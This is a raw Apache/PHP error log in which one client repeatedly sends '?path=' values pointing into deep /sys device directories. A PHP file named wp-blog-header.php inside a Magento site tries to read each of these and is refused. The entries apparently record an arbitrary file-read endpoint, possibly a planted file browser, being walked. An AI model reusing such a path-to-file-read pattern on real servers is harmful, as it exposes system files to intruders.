[Thu Mar 26 15:13:48.701455 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ae
[Thu Mar 26 15:13:57.759281 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/device:bc
[Thu Mar 26 15:14:00.845763 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ca
[Thu Mar 26 15:14:03.042772 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ba
[Thu Mar 26 15:14:05.305279 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:bc
[Thu Mar 26 15:14:05.845453 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ae
[Thu Mar 26 15:14:07.982959 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ba
[Thu Mar 26 15:14:11.203904 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:be
[Thu Mar 26 15:14:17.604604 2026] [php:warn] [pid 3106757] [client 74.7.241.26:38282] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ac
[Thu Mar 26 15:14:25.204911 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:da
[Thu Mar 26 15:14:29.832162 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/drivers/ac
[Thu Mar 26 15:14:31.359677 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:ea
[Thu Mar 26 15:14:31.902096 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ac
[Thu Mar 26 15:14:33.001243 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ea
[Thu Mar 26 15:14:33.515610 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem
[Thu Mar 26 15:14:33.991510 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ce
[Thu Mar 26 15:14:41.335898 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:fc
[Thu Mar 26 15:14:41.931003 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:aa
[Thu Mar 26 15:14:42.962032 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ce
[Thu Mar 26 15:14:53.020998 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:dc
[Thu Mar 26 15:14:53.586088 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:da
[Thu Mar 26 15:14:58.293161 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:aa
[Thu Mar 26 15:14:59.349691 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem
[Thu Mar 26 15:15:00.490223 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bc
[Thu Mar 26 15:15:04.121697 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ac
[Thu Mar 26 15:15:06.255825 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:dc
[Thu Mar 26 15:15:07.779135 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ec
[Thu Mar 26 15:15:09.901010 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ba
[Thu Mar 26 15:15:10.649262 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:fc
[Thu Mar 26 15:15:14.236305 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:fc
[Thu Mar 26 15:15:14.787679 2026] [php:warn] [pid 3216554] [client 74.7.241.26:48136] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem
[Thu Mar 26 15:15:16.632248 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ec
[Thu Mar 26 15:15:20.301282 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:be
[Thu Mar 26 15:15:22.903275 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ac
[Thu Mar 26 15:15:30.296227 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:cc
[Thu Mar 26 15:15:33.570531 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:bc
[Thu Mar 26 15:15:35.172683 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/tpm_crb
[Thu Mar 26 15:15:40.531537 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ca
[Thu Mar 26 15:15:42.047098 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:aa
[Thu Mar 26 15:15:43.699673 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ea
[Thu Mar 26 15:15:47.269119 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ec
[Thu Mar 26 15:15:52.492308 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ee
[Thu Mar 26 15:15:55.112162 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:fc
[Thu Mar 26 15:15:56.187638 2026] [php:warn] [pid 3236333] [client 74.7.241.26:49646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
